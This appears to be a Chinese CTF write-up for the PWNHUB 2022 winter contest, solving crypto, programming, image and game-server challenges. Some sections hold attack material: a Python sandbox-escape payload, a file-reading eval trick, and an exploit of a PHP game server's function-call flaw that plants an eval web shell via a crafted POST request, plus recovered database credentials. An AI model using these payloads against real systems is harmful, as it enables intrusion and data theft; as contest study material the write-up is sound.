PWNHUB2022冬季赛

✌️竞赛时间:12月17日 10:00—12月18日 22:00
✌️得分规则:比赛采用动态分数制度 ,每道题目的分值将根据解出队伍的数量进行动态记分。
✌️题目类型:Web、Pwn、Reverse、Misc、Crypto等

Rank: 9


misc

坐井观天

python逃逸,利用 eval(input()) 绕过关键字黑名单:

1
2
eval(input())
__import__("os").popen("env").read()

证书里也有秘密

xray证书信息解析,参考Github项目 xray-crack,将 main.go 编译:

go build -o goxray main.go

再运行:

./goxray -p xray-license.lic

即可得到证书内容数据:

1
2
3
version ok: 2
license parsed: {bc5d237dc9b7470e94b61687c19e62fc 3270cdada4eb4a809d25ff4820d5a1f7 王德发 COMMUNITY-ADVANCED 1320981071 1645539742}
crypto/rsa: verification error

故flag为user_id:flag{3270cdada4eb4a809d25ff4820d5a1f7}

crypto

大杂烩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# sage
from Crypto.Util.number import *
from gmpy2 import *
from random import *

padding = lambda num, bit_len: (num << (512 - bit_len)) + getrandbits(512 - bit_len)

flag = b'**************************************'
m1, m2 = bytes_to_long(flag[:19]), bytes_to_long(flag[19:])
p = next_prime(padding(m1, m1.bit_length()))
q = next_prime(padding(m2, m2.bit_length()))
n = p * q
e = getPrime(128)
d = inverse(e, (p - 1) * (q-1))
a, b = e & 0x3ffffffffff, e >> 42
N = getPrime(128)
E = EllipticCurve(Zmod(N), [a, b])
NN = getPrime(1024)
S = inverse(getPrime(128), NN) * inverse(getPrime(128), NN)
d1 = d >> 512
d2 = d & (1 << 512) - 1
enc1 = S * d1 % NN
enc2 = S * d2 % NN

print('n =', n)
print('a =', a)
print('N =', N)
print('POINT =', E.lift_x(996))
print('enc1 =', enc1)
print('enc2 =', enc2)
print('NN =', NN)


# n = 117749279680045360245987277946945707343578937283621512842997606104123872211782263906911929773756533011817679794905642225389185861207256322349591633257348367854563703050789889773031032949742664695416275919382068347995088593380486820784360816053546651916291080971628354468517506190756456913824397593128781030749
# a = 1755716071599
# N = 236038564943567983056828121309828109017
# POINT = (996 : 151729833458737979764886336489671975339 : 1)
# enc1 = 98662590652068949920571979585725979127266112216583776160769090971169664292493813021843624362593669574513220457664819153878956311077379392531742253343961645534972639309537402874636739745717765969720117162780620981639015788423324884640935466801234207019510919768602974162878323777374364290185048275714332671356
# enc2 = 58738699705013897273174837829098879580829898980458718341881900446701910685043213698485036350888862454440118347362218485065377354137391792039111639199258042591959084091242821874819864955504791788260187064338245516327147327866373690756260239728218244294166383516151782123688633986853602732137707507845681977204
# NN = 149794788177729409820185150543033616327574456754306207341321223589733698623477041345453230785413920341465642754285280273761269552897080096162195035057667200692677841848045965505750839903359478511509753781737513122660495056746669041957643882516287304836822410136985711091802722010788615177574143908444311475347

$a,b$ 分别为 $e$ 的低42位和高(128-42)位,有 $e=2^{42}b+a$。

$a$ 已知,根据点 $P=(P_x,P_y)$ 及椭圆曲线 $E$ 方程 $y^2 \equiv x^3+ax+b \pmod N$,代入求解 $b$。

同理,$d=2^{512}d_1+d_2$,因 $c_1 = Sd_1 \bmod N’,c_2 = Sd_2 \bmod N’$,分别使用类似Wiener Attack的格子求解 $d_1,d_2$。

最后已知 $e,d,n$,分解 $n$ 得 $p,q$,flag两部分分别在 $p,q$ 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import random
import gmpy2
def divide_pq(e, d, n):
k = e*d - 1
while True:
g = random.randint(2, n-1)
t = k
while True:
if t % 2 != 0:
break
t //= 2
x = pow(g, t, n)
if x > 1 and gmpy2.gcd(x-1, n) > 1:
p = gmpy2.gcd(x-1, n)
return (p, n//p)

n = 117749279680045360245987277946945707343578937283621512842997606104123872211782263906911929773756533011817679794905642225389185861207256322349591633257348367854563703050789889773031032949742664695416275919382068347995088593380486820784360816053546651916291080971628354468517506190756456913824397593128781030749
a = 1755716071599
N = 236038564943567983056828121309828109017
Px, Py = (996, 151729833458737979764886336489671975339)
enc1 = 98662590652068949920571979585725979127266112216583776160769090971169664292493813021843624362593669574513220457664819153878956311077379392531742253343961645534972639309537402874636739745717765969720117162780620981639015788423324884640935466801234207019510919768602974162878323777374364290185048275714332671356
enc2 = 58738699705013897273174837829098879580829898980458718341881900446701910685043213698485036350888862454440118347362218485065377354137391792039111639199258042591959084091242821874819864955504791788260187064338245516327147327866373690756260239728218244294166383516151782123688633986853602732137707507845681977204
NN = 149794788177729409820185150543033616327574456754306207341321223589733698623477041345453230785413920341465642754285280273761269552897080096162195035057667200692677841848045965505750839903359478511509753781737513122660495056746669041957643882516287304836822410136985711091802722010788615177574143908444311475347

F = Zmod(N)
b = int(F(Py^2 - (Px^3 + a*Px)))
e = 2^42 * b + a

L1 = Matrix(ZZ, [[enc1, 2^256],[NN, 0]])
d1 = -L1.LLL()[0][0]
L2 = Matrix(ZZ, [[enc2, 2^256],[NN, 0]])
d2 = -L2.LLL()[0][0]

d = 2^512 * d1 + d2

p, q = divide_pq(e, d, n)
flag1 = bytes.fromhex(hex(p>>(512-19*8+2))[2:])
flag2 = bytes.fromhex(hex(q>>(512-19*8+1))[2:])
print(flag1)
print(flag2)

# b'4cb201080d8b240774}'
# b'flag{e89f47939d1243'

flag:flag{e89f47939d12434cb201080d8b240774}

pwn

justJS

js命令执行即可:

eval(read("/flag"))

eval() 的报错文字中得到flag:

1
2
3
4
5
undefined:1: SyntanError: Unexpected token '{'
flag{5cff08f23eb37451bd84effb99275794}
^
SyntanError: Unexpected token '{'
at input.js:1:6

ppc

Tcp Show

Description

众所周知,Wireshark 带有一个 follow tcp stream 功能,可以展示 TCP 流量的来回通信。

为了给某产品增加显示 TCP 来回流量的功能,你准备读取流量文件来生成类似的展示效果。

Input

第一行输入一个数字 N,表示接下来有 N 行。

接下来 N 行,每一行都由两部分组成。首先是一个数字 D,数字 D 为 0 表示为客户端发给服务器的方向,数字 D 为 1 表示服务器发给客户端方向;然后第二部分是一个 base64 字符串,表示编码后的流量具体内容。

Output

对于每一行的流量包,生成类似 wireshark 的 hexdump 模式的流量展示。其中:

  1. 每行开头都是 8 位 hex,表示当前这一行在该流量包的偏移。

  2. 两个空格之后,是该流量包的 hex dump 内容,每行 16 个 hex dump。

  3. hex dump 之后,是该流量包内容的字符显示,对于可见字符(32 ~ 126),显示字符本身,对于不可见字符,显示一个 . 号

  4. 对于无法凑齐 16 个 hex 的行,其不足的内容用空格代替。确保每一行的总长度是相等的。

  5. 根据下面的样例,仔细处理空格的数量。

按照输出要求格式化解析即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from base64 import b64decode
from math import ceil

N = int(input())

for c in range(N):
k, b = input().split(' ')
h = list(b64decode(b.encode()))
if k == '0':
for i in range(ceil(len(h)/16)):
ind = hex(i*16)[2:].rjust(8,'0')
hh = h[16*i:16*(i+1)]
hh1 = ' '.join([hex(j)[2:].rjust(2,'0') for j in hh[:8]] + [' ']*(8-len(hh[:8])))
hh2 = ' '.join([hex(j)[2:].rjust(2,'0') for j in hh[8:]] + [' ']*(8-len(hh[8:])))
ch1 = ''.join([chr(j) if j in range(32,127) else '.' for j in hh[:8]]).ljust(8,' ')
ch2 = ''.join([chr(j) if j in range(32,127) else '.' for j in hh[8:]]).ljust(8,' ')
print(f'{ind} {hh1} {hh2} {ch1} {ch2}')
else:
for i in range(ceil(len(h)/16)):
ind = hex(i*16)[2:].rjust(8,'0')
hh = h[16*i:16*(i+1)]
hh1 = ' '.join([hex(j)[2:].rjust(2,'0') for j in hh[:8]] + [' ']*(8-len(hh[:8])))
hh2 = ' '.join([hex(j)[2:].rjust(2,'0') for j in hh[8:]] + [' ']*(8-len(hh[8:])))
ch1 = ''.join([chr(j) if j in range(32,127) else '.' for j in hh[:8]]).ljust(8,' ')
ch2 = ''.join([chr(j) if j in range(32,127) else '.' for j in hh[8:]]).ljust(8,' ')
print(f' {ind} {hh1} {hh2} {ch1} {ch2}')

Fight Clones

Description

Neo 被 Smith 的分身们包围了!他需要击败他们!

每一个 Smith 都有自己的攻击值和生命值。在受到攻击之前,他们都可以持续攻击 Neo。

Neo 也有自己的攻击值和生命值,虽然比 Smith 高得多,但是 Neo 一次也只能攻击一个 Smith(是的他没有 AOE)。

Neo 需要找到一个最优的攻击策略,以保证自己生命值被减为零之前击倒所有 Smith。

Neo 的生命值是确定的,Oracle 之前告诉过他。但是他需要知道自己的攻击值是否能够确保打赢 Smith 们。

你能帮 Neo 计算出他所需要的最小攻击值么?

Input

第一行输入两个整数 $N H$ ($1 \le N \le 1000,1 \le H \le 1000000$),表示总共有 $N$ 个 Smith,以及 Neo 的生命值为 $H$。

接下来 $N$ 行,表示 $N$ 个 Smith 的属性,每行格式为 $AH$,其中

- $A$ 为该 Smith 的攻击值 ($1 \le A \le 1000$)。

- $H$ 为该 Smith 的生命值 ($1 \le H \le 1000$)。

Output

输出一个整数,表示所需要的最小攻击值。如果无法保证击败 Smith 们则输出 -1

Hint

Neo 和 Smith 们是 实时战斗制(非回合制),即 Neo 和 Smith 们可以同时攻击对方,只不过 Neo 一个时间只能打一个 Smith,

而 Smith 们可以群殴 Neo(不用考虑碰撞体积的问题)。

可以假定 Neo 和 Smith 们每单位时间只能击打对手一次。例如,某个 Smith 生命值为 20,而 Neo 攻击值为 15,那 Neo 也需要消耗

两个单位的时间来消灭该 Smith,同时意味着有 10 单位的攻击力被浪费掉了。

Smith 一旦受到 Neo 的攻击,就会停止击打 Neo。例如 Neo 和 Smith 某一个时刻同时攻击对方,Neo 则不会受到伤害。

贪心算法+二分查找最小攻击值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from functools import cmp_to_key

def custom_sort(x, y):
return y[0] * x[2] - x[0] * y[2]

def find_min_attack(neo_life, smiths):
l = 1
r = 1000
ans = -1
while l <= r:
m = (l + r) // 2
s = [(k[0], k[1], (k[1]+m-1)//m) for k in smiths]
s.sort(key=cmp_to_key(custom_sort))
res = 0
t = 0
for i in range(len(s)):
res += t*s[i][0]
t += s[i][2]
if res < neo_life:
ans = m
r = m - 1
else:
l = m + 1
return ans

N, H = list(map(int,input().split()))
smiths = []
for i in range(N):
smiths.append(tuple(map(int,input().split())))

print(find_min_attack(H, smiths))

gaming

游戏来咯

登录游戏就在公告栏看到flag:flag{churusanguo}

攻城拔寨

达到一定等级后游戏内会收到邮件,按 getshell 一题拿到权限后,找到 D:/APMServ5.2.6/www/htdocs/server/config/db.php,得到mysql数据库账号密码:

1
2
3
4
5
6
7
define('db_persistent',1);
define('db_RDBMS', 'mysql');
define('db_Username', 'sgphp1g2ame');
define('db_Password', '@Qwer123456');
define('db_Server', '127.0.0.1');
define('db_Port', '3306');
define('db_Database', 'bloodwar');

在蚁剑用mysql连接,账号 sgphp1g2ame,密码 @Qwer123456,在表 sys_mail_sys_content 中找到邮件内容:恭喜恭喜, flag2 flag{jiaguanjinjueN}

特殊玩家

有玩家的名字是flag,按 getshell 一题拿到权限后,源码自带修改器,打开前修改配置文件 config.ini

1
2
3
4
5
6
7
8
9
[config]
IP=120.55.42.64
数据库=bloodwar
账号=sgphp1g2ame
密码=@Qwer123456
端口=3306
路径=D:\APMServ5.2.6\www\htdocs\images\armor
聊天端口=5308
登录信息=

打开修改器,在用户基本信息发现用户名 flag{mysqlwo}

getshell

在源码 APMServ5.2.6/www/htdocs/server/game/BattleNetGateway.php 中发现容易控制传值的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php 	
require_once("interface.php");
require_once("utils.php");
require_once("BattleFunc.php");
require_once("HeroFunc.php");
require_once("BattleNetServices.php");
define("BATTLE_NET_KEY","M7XDFCR9WRRGRQ9ETBQ6");
if (!defined('PATH_SEPARATOR')) {if (substr(PHP_OS, 0, 3) == 'WIN') define('PATH_SEPARATOR', ';'); else define('PATH_SEPARATOR', ':');}
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.realpath("../"));

$param=$_POST;
if(empty($param))$param=$_GET;
$from_uid=$param["from_uid"];
$sign=$param["sign"];
$commandFunc=$param["commandFunc"];
$content=urldecode($param["content"]);
$content_encoding=$param["content-encoding"];
//$tt=$from_uid.$commandFunc.$content.BATTLE_NET_KEY;



$ret=array();
if($sign!=md5($from_uid.$commandFunc.$content.BATTLE_NET_KEY)) //sign为传入值与key连接字符串的md5值
$ret[]=0;
else{
$ret[]=1;

try{
if($content_encoding=="csv"){
$inputParams=explode("|",$content); //按|分割content传入内容
if(count($inputParams)==1){
$inputParams=$inputParams[0];
}
$ret[]=$commandFunc($from_uid,$inputParams); //RCE漏洞
}else{
$inputParams=json_decode($content,true);
if(is_array($inputParams)&&count($inputParams)==1){
$inputParams=array_shift($inputParams);
}
$ret[]=$commandFunc($from_uid,$inputParams);
}
}catch(Exception $e){
$ret = array(0=>0);
$ret[] = $e->getMessage();
}
}
if($content_encoding=="csv"){
print implode("|",$ret);
}else{
print json_encode($ret);
}

?>

此处可以RCE,分析代码逻辑,利用 file_put_contents 写入一句话木马:

POST: from_uid=xx.php&commandFunc=file_put_contents&content=<%3fphp%20%40eval($_POST[xxx])%3b&content-encoding=csv&sign=734c00692057aaf9f6c763f405cbec6b

蚁剑连接,在D:目录下找到 flag.txt,flag:flag{breakItAndOutIt}

other

文字频率分析

非预期解法,将1000×1000图片分割为400张50×50的图片:

1
2
3
4
5
6
7
8
9
10
11
from PIL import Image
from hashlib import md5

im = Image.open('word.png')
c = 0
for i in range(20):
for j in range(20):
box = (50*i,50*j,50*(i+1),50*(j+1))
region = im.crop(box)
region.save(f'img/{c}.png')
c += 1

测试发现相同字母的图片,其文件md5值相同,利用此规律统计字频,先操作一次找出26个字母对应文件的md5值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from hashlib import md5
from collections import Counter

sample = [7,38,28,0,73,13,42,18,36,102,12,3,2,19,
9,58,20,1,5,30,50,24,11,22,8,66]

m = []
for i in range(400):
path = fr'C:\Users\admin\Desktop\img\{i}.png'
m.append(md5(open(path,'rb').read()).hexdigest())

res = Counter(m)
print(res)
print(len(res))

alp_md5 = [m[sample[i]] for i in range(26)]
print(alp_md5)

# 得到md5对应list
# ['d108ad1582e37a825d092131a55babcc', '9901603c7d2a5dde25723c9e569428da', '5e47df30ddf5e623c9bbcd4fde58ec88', '5bf0c7d972b37455dc32777ffdad86b9', '33ff92480ee08585d901ffd0a47de021', '3d3f026d8fc719c35a917d98d9b7474b', 'c07bd9475b8e9d65334e2f24f19794b3', '4497c04cea4897727d88f7945bc86d77', '047fd19a9a30301444e11394ee99d8be', '802d7d3a2c02a1b6ba5f0860b70b54df', '52d9844a5ed4eee07af4f48f880e3d5b', '109d33cf832c83ebebca8c4f165862a9', 'f5252d81a8afc71cf5dd29270a398beb', '121808a4d3f160f235f27cb77355d525', 'b15356da578f67bac5a3d777913ce97d', 'a174639d2070109e85ffb53657d5c9d5', 'e30a3ca0d2f0326a10175e8d6ed8a178', 'a267e80b28a9dae7e2c5d70198e808d7', 'e1e4b54464f7ae41ba2c71a9244d7347', 'ccf09a4c80cc7e4b3134ea53f423ec38', '5b5480bc64f225e422ed8f084e629ff8', 'f17c5f58bf983a684cc8d7d4b3c1ae0b', '287d3dac4e058281282e0eee00d9ddd4', 'a782a16d1fca70e6217e45dd3fe8ae6e', '18cad01f22ca7c4bc9a7536474d17273', 'a4e1c4687c9c785271fc24f79aa2e0f0']

再综合起来解题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from hashlib import md5
from pwnlib.util.iters import mbruteforce
from base64 import b64decode
from PIL import Image
from collections import Counter

r = remote("47.97.127.1",20382)

table = '0123456789abcdef'
def pow():
r.recvuntil("plaintext: ")
suffix = r.recv(26).decode("utf8")
r.recvuntil("md5_hex -> ")
cipher = r.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: md5((suffix+x).encode()).hexdigest() ==
cipher, table, length=6, method='fixed')
r.sendlineafter('> ', suffix+proof)

pow()

r.recvline()

open('word.png','wb').write(b64decode(r.recvline().strip()))

im = Image.open('word.png')
c = 0
for i in range(20):
for j in range(20):
box = (50*i,50*j,50*(i+1),50*(j+1))
region = im.crop(box)
region.save('img/{}.png'.format(c))
c += 1

sample = ['d108ad1582e37a825d092131a55babcc', '9901603c7d2a5dde25723c9e569428da', '5e47df30ddf5e623c9bbcd4fde58ec88', '5bf0c7d972b37455dc32777ffdad86b9', '33ff92480ee08585d901ffd0a47de021', '3d3f026d8fc719c35a917d98d9b7474b', 'c07bd9475b8e9d65334e2f24f19794b3', '4497c04cea4897727d88f7945bc86d77', '047fd19a9a30301444e11394ee99d8be', '802d7d3a2c02a1b6ba5f0860b70b54df', '52d9844a5ed4eee07af4f48f880e3d5b', '109d33cf832c83ebebca8c4f165862a9', 'f5252d81a8afc71cf5dd29270a398beb', '121808a4d3f160f235f27cb77355d525', 'b15356da578f67bac5a3d777913ce97d', 'a174639d2070109e85ffb53657d5c9d5', 'e30a3ca0d2f0326a10175e8d6ed8a178', 'a267e80b28a9dae7e2c5d70198e808d7', 'e1e4b54464f7ae41ba2c71a9244d7347', 'ccf09a4c80cc7e4b3134ea53f423ec38', '5b5480bc64f225e422ed8f084e629ff8', 'f17c5f58bf983a684cc8d7d4b3c1ae0b', '287d3dac4e058281282e0eee00d9ddd4', 'a782a16d1fca70e6217e45dd3fe8ae6e', '18cad01f22ca7c4bc9a7536474d17273', 'a4e1c4687c9c785271fc24f79aa2e0f0']

m = []
for i in range(400):
path = 'img/{}.png'.format(i)
x = md5(open(path,'rb').read()).hexdigest()
m.append(x)

res = Counter(m)
print(res)
print(len(res))

out = []
for i in range(26):
out.append(res[sample[i]])

print(out)

r.recvuntil('> ')
r.sendline(str(out).replace(' ','').strip('[').strip(']'))

r.interactive()

得到结果:

1
2
Got it!
flag{d8b8a96466e21df8b45cce5ce875e95e}

图片识别

给定动物样本数据,判断随机抽取10次动物图片,输入动物名称,正确至少8次给flag,每次3s内输入。

数量较少,非预期直接按照图片手动判断在3s内快速输入即可。

半自动交互:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from hashlib import md5
from pwnlib.util.iters import mbruteforce
from base64 import b64decode
from PIL import Image

r = remote("47.97.127.1",28452)

table = '0123456789abcdef'
def pow():
r.recvuntil("plaintext: ")
suffix = r.recv(26).decode("utf8")
r.recvuntil("md5_hex -> ")
cipher = r.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: md5((suffix+x).encode()).hexdigest() ==
cipher, table, length=6, method='fixed')
r.sendlineafter('> ', suffix+proof)

pow()

r.recvline()
r.recvline()

for i in range(10):
open('animal.png','wb').write(b64decode(r.recvline().strip()))
img = Image.open('animal.png')
img.show()
r.recvuntil('> ')
r.sendline(raw_input('> '))
print(r.recvline())

r.interactive()

垃圾邮件分析

提供50封邮件内容的正常邮件/垃圾邮件分类,判断10封邮件内容属于哪种分类,全对给flag。

数量较少,非预期直接按照内容手动判断即可。

PoW部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from hashlib import sha256
import string
from pwnlib.util.iters import mbruteforce

r = remote("47.97.127.1",27218)

table = string.ascii_letters+string.digits
def pow():
r.recvuntil("sha256(")
suffix = r.recv(28).decode("utf8")
r.recvuntil("= ")
cipher = r.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((suffix+x).encode()).hexdigest() ==
cipher, table, length=4, method='fixed')
r.sendlineafter('xxxx = ', proof)

pow()

for i in range(51):
print(i)
r.recvuntil('Press ENTER to continue... ')
r.sendline()

r.interactive()

按内容手动判断输入H(正常邮件)或S(垃圾邮件),得到结果:

1
2
Good job! Just take it:
flag{da238e5ee5716136c6884c0b4a369093}